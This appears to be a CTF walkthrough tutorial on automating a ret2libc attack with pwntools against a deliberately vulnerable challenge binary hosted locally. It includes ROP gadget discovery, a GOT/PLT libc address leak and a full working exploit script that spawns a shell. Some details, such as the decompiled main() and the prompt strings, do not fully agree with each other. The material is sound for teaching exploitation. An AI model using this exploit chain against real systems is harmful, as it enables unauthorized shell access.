Skip to content

Latest commit

 

History

History
614 lines (396 loc) · 24.2 KB

automating-ret2libc-got-and-plt-w-pwntools.md

File metadata and controls

614 lines (396 loc) · 24.2 KB
description cover coverY
10/08/2023
0

⚙️ Automating ret2libc GOT & PLT w/ pwntools

Introduction

Here we will be covering the automation of the ret2libc technique with pwntools.

Side note: pwntools is OP.

Reference

{% embed url="https://www.youtube.com/watch?v=kvfnLvSbnhc" %}

GitHub Repository

{% embed url="https://github.com/JohnHammond/misfortune-ctf-challenge.git" %} John Hammond Challenge Repo {% endembed %}

Setup

sudo ./setup.sh

Everything you will need is in /play.

Our target is misfortune.

It comes with a dynamic libc library that is linked to our binary, libc.so.6.

  • This tells us we are likely going to do a ROP-based attack or a ret2libc.

Start docker image:

sudo docker run -p 9999:9999 misfortune

Connect to docker image hosting binary (to emulate remote exploitation):

nc localhost 9999

You can do this remotely or locally.

Install patchelf:

sudo apt install patchelf

Grab pwninit:

{% embed url="https://github.com/io12/pwninit/releases" %}

wget https://github.com/io12/pwninit/releases/download/3.3.0/pwninit

pwninit

Automates startup tasks for binary exploitation challenges.

Installing elfutils:

sudo apt install elfutils

Running pwninit:

pwninit

Running pwninit

This will generate a patched file and this will be what we will want to use to develop our exploit with.

It will also make an pwn file that we can use for our exploit development called solve.py.

Also, if you are doing your binex inside of WSL rather than a virtual machine, I would highly recommend that you uninstall tilix:

sudo apt remove tilix

Enumeration

checksec:

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

Full RELRO (Relocation Read-Only) is enabled, this makes the GOT completely read-only, even format string vulnerabilities will not be able to overwrite anything.

  • This is not default in binaries because of slow processing times since it will need to resolve all function addresses simultaneously
  • This also causes the linker to resolve all symbols at link time (before starting execution) and then remove write permissions from .got

The NX-bit (No-Execute) is enabled, meaning that we do not have an executable stack.

  • This means we cannot inject shellcode onto the stack and expect it to execute

file:

{% code overflow="wrap" %}

misfortune: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=0729571751a2707a4b3fddcefba1a045420d1d72, not stripped

{% endcode %}

"Messing" w/ the Target Binary

  1. Run the binary -- What is it's goal?
  2. How does the target binary consume data?
  3. We noticed that there is a SIGALRM that timeout the binary after a period of not receiving input.
  4. Can we overflow the buffer? -- Yes.

strace:

We were able to identify the SIGALRM using strace.

Viewing SIGALRM w/ strace as a syscall.

ltrace:

We were able to see printf() and puts() usage.

Reversing (Static Analysis)

main():

undefined4 main(void)

{
  char buffer [16];
  undefined *local_10;
  
  local_10 = &stack0x00000004;
  puts("Give me data plz: ");
  gets(buffer);
  return 0;
}

We see gets() this is where our buffer overflow is stemming from.

Debugging (Dynamic Analysis w/ pwndbg)

solve.py:

#!/usr/bin/env python3

from pwn import *

exe = ELF("./misfortune_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.27.so")

context.binary = exe

# Uncomment one or the other for proper process startup -- local or debugger?
def conn():
    if args.LOCAL:  
        # r = process([exe.path])     # Just start the local process
        r = gdb.debug([exe.path])   # Open with pwndbg debugger
    else:
        r = remote("127.0.0.1", 9999)

    return r


def main():
    r = conn()
    r.recvuntil(b'\n> ')
    r.send(b'A'*90)

    # good luck pwning :)

    r.interactive()


if __name__ == "__main__":
    main()

Run:

python3 solve.py LOCAL

This will open up a new tab and will throw your exploit into pwndbg.

Now, continue execution in the debugger with c.

Print out register information:

i r

Seeing our A's overwrite the base pointer (rbp)

This is good. However, the next question we need to answer is at what point inside of the A's do we begin to see a pattern where we can begin to overflow the instruction pointer?

  • We can do this by using a cyclic pattern

We have covered how to do this in pwndbg numerous times before, but how about we do it inside of pwntools?

We can achieve this by using cyclic(100) inside of our payload.

Example:

    payload = b''.join([    # Use join() to join all elements in a list into one string
        cyclic(100)         # Send a 100-byte payload to the program's input
    ])
    r.send(payload)         # Send payload

Run:

python3 solve.py LOCAL

Continue execution with c:

We can see that we began overwriting the RBP register at the pattern, iaaajaaa.

We can now find our offset with cyclic -l iaaajaaa and we get 32.

This means we can now modify our payload to have our offset and we can overwrite something else so we can validate which part of the stack we are overwriting.

Example:

def main():
    
    offset = 32
    length = 90
    r = conn()
    r.recvuntil(b'\n> ')
    # r.send(b'A'*100)
    payload = b''.join([    # Use join() to join all elements in a list into one string
        b'A'*offset,
        b'\x42\x42\x42\x42\x42\x42\x42\x42', # This is the same as "BBBBBBBB", this will send 8 B's after 32 A's (our offset value) 
    ])
    
    payload += b'C'*(length -len(payload)) # A's at the top, B's for injection test, and C's for padding out the original length of data to send out

    r.send(payload)

Now, continue execution in the debugger with c.

Print out register information:

i r

We can now see instead of A's (x41), we now see B's (x42) being overflowed in our RBP register.

We can also see that we have control of our instruction pointer (RIP) as it is being overflown with our C's (x43).

This is from this part of our payload:

payload += b'C'*(length -len(payload))

So, what is the next thing we need to attack?

We do not have a system() function within the binary itself, so we will need to get it from libc.

We need to utilize Return-Oriented-Programming (ROP).

So, we need to chain locations in code and utilize their return instructions to bounce around in code since NX is enabled and we can't execute shellcode due to our non-executable stack.

We need to chain together functions in libc and find where they are.

In 64-bit calling conventions (which is what our target binary is that we are attacking uses), we can use ROP gadgets to pass arguments into the registers for our functions within our ROP chain.

Stack-Alignment Issues

If we run into some weird stack alignment issues, causing our payload to break at some random point whether locally or remotely, we can simply just add a random ret gadget into our ROP chain, and it will in most cases, fix our stack alignment issue.

For example:

We can use ropper to help us find ROP gadgets within our binary:

ropper --file misfortune

0x00000000004005a6: ret;

The hex address above is an example of a ret gadget.

Using pwntools to help us find ROP gadgets

Remember how we made an ELF object in pwntools within our script?

We can do the same and create a ROP object!

Example:

# ROP Object
rop = ROP(exe)                                       # You can use this to "pull" apart different pieces of your binary
pop_rdi = rop.find_gadget(['pop rdi'])[0]            # Find pop_rdi gadget
ret = rop.find_gadget(['ret'])[0]                    # Find ret gadget
success(f'{hex(pop_rdi)=}')                          # Print out pop_rdi gadget in hex
success(f'{hex(ret)=}')                              # Print out ret gadget in hex

Seeing the same data that we saw in ropper, but automating it with pwntools

We can also find symbols and functions that we can use (that are executed) in the binary with pwntools:

main_function = exe.symbols.main

So, what will this do?

If we add main_function to our payload rather than our B's, we will see main() being executed twice!

NOTE:

I added this inside of the ROP object.

def main():
    
    offset = 32
    length = 90
    r = conn()
    prompt = r.recvuntil(b'\n> ')                   
    print(prompt.decode('utf-8'))                   # Print out prompt that's given to us -- need to use utf-8 as it is sent as bytes
    # r.send(b'A'*100)
    payload = b''.join([                            # Use join() to join all elements in a list into one string
        b'A'*offset,
        #b'\x42\x42\x42\x42\x42\x42\x42\x42',       # This is the same as "BBBBBBBB", this will send 8 B's after 32 A's (our offset value) 
        p64(ret),                                   # Stack-alignment issues requires a ret gadget here
        p64(main_function),                         # Jump back into main(), executing it twice -- needs to be packed into the binary's format (64-bit representation) this is because we received the numeric value from main_function
    ])
    
    payload += b'C'*(length -len(payload))          # A's at the top, B's for injection test, and C's for padding out the original length of data to send out

    r.send(payload)

    # good luck pwning :)

    r.interactive()


if __name__ == "__main__":
    main()

With this, we can now see main() being executed twice in our prompt:

Seeing main() getting executed twice

Next Goals

Now, we need to figure out which functions we actually need to call.

Let's begin to build out our attack.

Let's find out where the sensitive/lucrative functions are such as system().

  • These are loaded inside of libc

However, we do not know where/how libc is loaded as it gets it's own, unique base address each time the binary is loaded.

It's okay, the binary/ELF still has "breadcrumbs" of this information that we need to be able to locate them when the program starts up.

We need to utilize the Procedure Linkage Table (PLT) and the Global Offset Table (GOT) to find these dynamically-loaded function addresses as the binary is executed.

We can actually obtain the address of puts(), which is found in our binary using the PLT. This is possible because the function is placed in a stub.

The GOT will be the pointer that the libc function will be loaded into.

The PLT will allow us to call the function and allow us to jump to it.

So let's try to find another function in the GOT where we can grab a function that is dynamically loaded with libc.

This could very well be possible because we see alarm() being called.

We can obtain these locations/addresses by using GOT and PLT of our ELF.

puts_plt = exe.plt.puts                              # Obtain puts() from PLT
alarm_got = exe.got.alarm                            # Obtain alarm() from GOT
success(f'{hex(puts_plt)=}')                         # Print location of puts() from PLT
success(f'{hex(alarm_got)=}')                        # Print location of alarm() from GOT

Seeing functions obtained from both the PLT and GOT.

This is great, this means that we can use the puts() function to display the alarm() function in the GOT through runtime.

We will need a ROP gadget (POP_RDI) to pop the alarm_got into RDI so we can call puts() from the PLT.

def main():
    
    offset = 32
    length = 90
    r = conn()
    prompt = r.recvuntil(b'\n> ')                   
    print(prompt.decode('utf-8'))                   # Print out prompt that's given to us -- need to use utf-8 as it is sent as bytes
    # r.send(b'A'*100)
    payload = b''.join([                            # Use join() to join all elements in a list into one string
        b'A'*offset,
        #b'\x42\x42\x42\x42\x42\x42\x42\x42',       # This is the same as "BBBBBBBB", this will send 8 B's after 32 A's (our offset value) 
        p64(ret),                                   # Stack-alignment issues requires a ret gadget here
        p64(pop_rdi),                               # ROP Gadget to pop alarm_got into the RDI register
        p64(alarm_got),                              
        p64(puts_plt),                              # Call puts() from PLT
        p64(main_function),                         # Jump back into main(), executing it twice -- needs to be packed into the binary's format (64-bit representation) this is because we received the numeric value from main_function
    ])
    
    payload += b'C'*(length -len(payload))          # A's at the top, B's for injection test, and C's for padding out the original length of data to send out

    r.send(payload)

    # good luck pwning :)

    r.interactive()

This will display the address or bytes of the alarm_got function.

Printing our address or bytes of alarm_got

We can use this to determine where to go next.

We need to find the base address.

We can obtain this from retrieving it via:

alarm_libc = u64(r.recvline().strip().ljust(8, b'\x00')) # Retrieve value of the base address -> once our payload returns
success(f'{hex(alarm_libc)=}')    # Print out alarm_libc address

We will unpack the value with u64.

Upon running, you can see that we that we obtain a valid memory address:

From our object in pwntools, we have the offset of the function, but we still do not have the base of that function.

There is a cool trick we can do to find this:

    libc_base = alarm_libc - libc.symbols.alarm     # Do maths to obtain the libc base -> alarm_libc subtracted from the value of the libc object from the offset of alarm
    success(f'{hex(libc_base)=}')                   # Print out system() address                
    libc.address = libc_base

Essentially, we are taking the value from alarm_libc and subtracting it from the value of the libc object from the offset of alarm()!

We can now see the libc base address!!

Now that we have the libc base, our next goal is to find the actual system() address is during runtime.

All it takes, is taking the same syntax above and grab the system() function!

We want to pass the '/bin/sh' string to it as well. This is easy because libc has this string in the file's shared library/object comments!

system = libc.symbols.system                  # Grab system() from libc symbols
bin_sh = next(libc.search(b'/bin/sh\x00'))    # Search for '/bin/sh' string in libc
success(f'{hex(system)=}')                    # Print out system() address
success(f'{hex(bin_sh)=}')                    # Print out '/bin/shell address

Viewing system() and string, '/bin/sh' addresses.

Obtaining valid external function addresses and strings from the dynamically loaded library, libc.

We now have everything we need to pwn this binary.

Lastly, we need to build out another payload that will be sent after our new prompt from main().

    # Payload again because we are being asked how we want to divert flow of execution in another prompt
    payload = b''.join([                        # Use join() to join all elements in a list into one string
    b'A'*offset,
    p64(ret),                                   # Stack-alignment issues requires a ret gadget here
    p64(pop_rdi),                               # ROP Gadget to pop '/bin/sh' into the RDI register
    p64(bin_sh),                                
    p64(ret),                                   # Stack-alignment issues requires a ret gadget here
    p64(system),                                # Call system() from libc
    ])

    # A's at the top, B's for injection test, and C's for padding out the original length of data to send out
    payload += b'C'*(length -len(payload))          

    r.send(payload)

Final Exploit

#!/usr/bin/env python3

from pwn import *

# ELF Object
exe = ELF("./misfortune_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.27.so")


# ROP Object
rop = ROP(exe)                                       # You can use this to "pull" apart different pieces of your binary
pop_rdi = rop.find_gadget(['pop rdi'])[0]            # Find pop_rdi gadget
ret = rop.find_gadget(['ret'])[0]                    # Find ret gadget
success(f'{hex(pop_rdi)=}')                          # Print out pop_rdi gadget in hex
success(f'{hex(ret)=}')                              # Print out ret gadget in hex
main_function = exe.symbols.main                     # Execute main()
puts_plt = exe.plt.puts                              # Obtain puts() from PLT
alarm_got = exe.got.alarm                            # Obtain alarm() from GOT
exit_plt = exe.plt.exit
success(f'{hex(puts_plt)=}')                         # Print location of puts() from PLT
success(f'{hex(alarm_got)=}')                        # Print location of alarm() from GOT
success(f'{hex(exit_plt)=}')

context.binary = exe

# Uncomment one or the other for proper process startup -- local or debugger?
def conn():
    if args.LOCAL:  
        # r = process([exe.path])                   # Just start the local process
        r = gdb.debug([exe.path])                   # Open with pwndbg debugger
    else:
        r = remote("127.0.0.1", 9999)

    return r

def main():
    
    offset = 32
    length = 90
    r = conn()
    prompt = r.recvuntil(b'\n> ')                   
    print(prompt.decode('utf-8'))                   # Print out prompt that's given to us -- need to use utf-8 as it is sent as bytes
    # r.send(b'A'*100)
    payload = b''.join([                            # Use join() to join all elements in a list into one string
        b'A'*offset,
        #b'\x42\x42\x42\x42\x42\x42\x42\x42',       # This is the same as "BBBBBBBB", this will send 8 B's after 32 A's (our offset value) 
        p64(ret),                                   # Stack-alignment issues requires a ret gadget here
        p64(pop_rdi),                               # ROP Gadget to pop alarm_got into the RDI register
        p64(alarm_got),                              
        p64(puts_plt),                                # Call puts() from PLT
        p64(main_function),                         # Jump back into main(), executing it twice -- needs to be packed into the binary's format (64-bit representation) this is because we received the numeric value from main_function
    ])
    
    # A's at the top, B's for injection test, and C's for padding out the original length of data to send out
    payload += b'C'*(length -len(payload))          

    r.send(payload)
    alarm_libc = u64(r.recvline().strip().ljust(8, b'\x00')) # Retrieve value of the base address -> once our payload returns
    success(f'{hex(alarm_libc)=}')

    # Do maths to obtain the libc base -> alarm_libc subtracted from the value of the libc object from the offset of alarm
    libc_base = alarm_libc - libc.symbols.alarm            
    success(f'{hex(libc_base)=}')
    libc.address = libc_base

    # Instantiating variables to find dynamically-loaded libc addresses
    system = libc.symbols.system
    bin_sh = next(libc.search(b'/bin/sh\x00'))
    success(f'{hex(system)=}')
    success(f'{hex(bin_sh)=}')

    prompt = r.recvuntil(b'\n> ')

    # Payload again because we are being asked how we want to divert flow of execution in another prompt
    payload = b''.join([                        # Use join() to join all elements in a list into one string
    b'A'*offset,
    p64(ret),                                   # Stack-alignment issues requires a ret gadget here
    p64(pop_rdi),                               # ROP Gadget to pop '/bin/sh' into the RDI register
    p64(bin_sh),                                
    p64(ret),                                   # Stack-alignment issues requires a ret gadget here
    p64(system),                                # Call system() from libc
    ])

    # A's at the top, B's for injection test, and C's for padding out the original length of data to send out
    payload += b'C'*(length -len(payload))          

    r.send(payload)

    # good luck pwning :)

    r.interactive()


if __name__ == "__main__":
    main()

Run:

Remote Exploitation: python3 solve.py REMOTE

Local Exploitation: python3 solve.py LOCAL

Result

Absolute pwnage.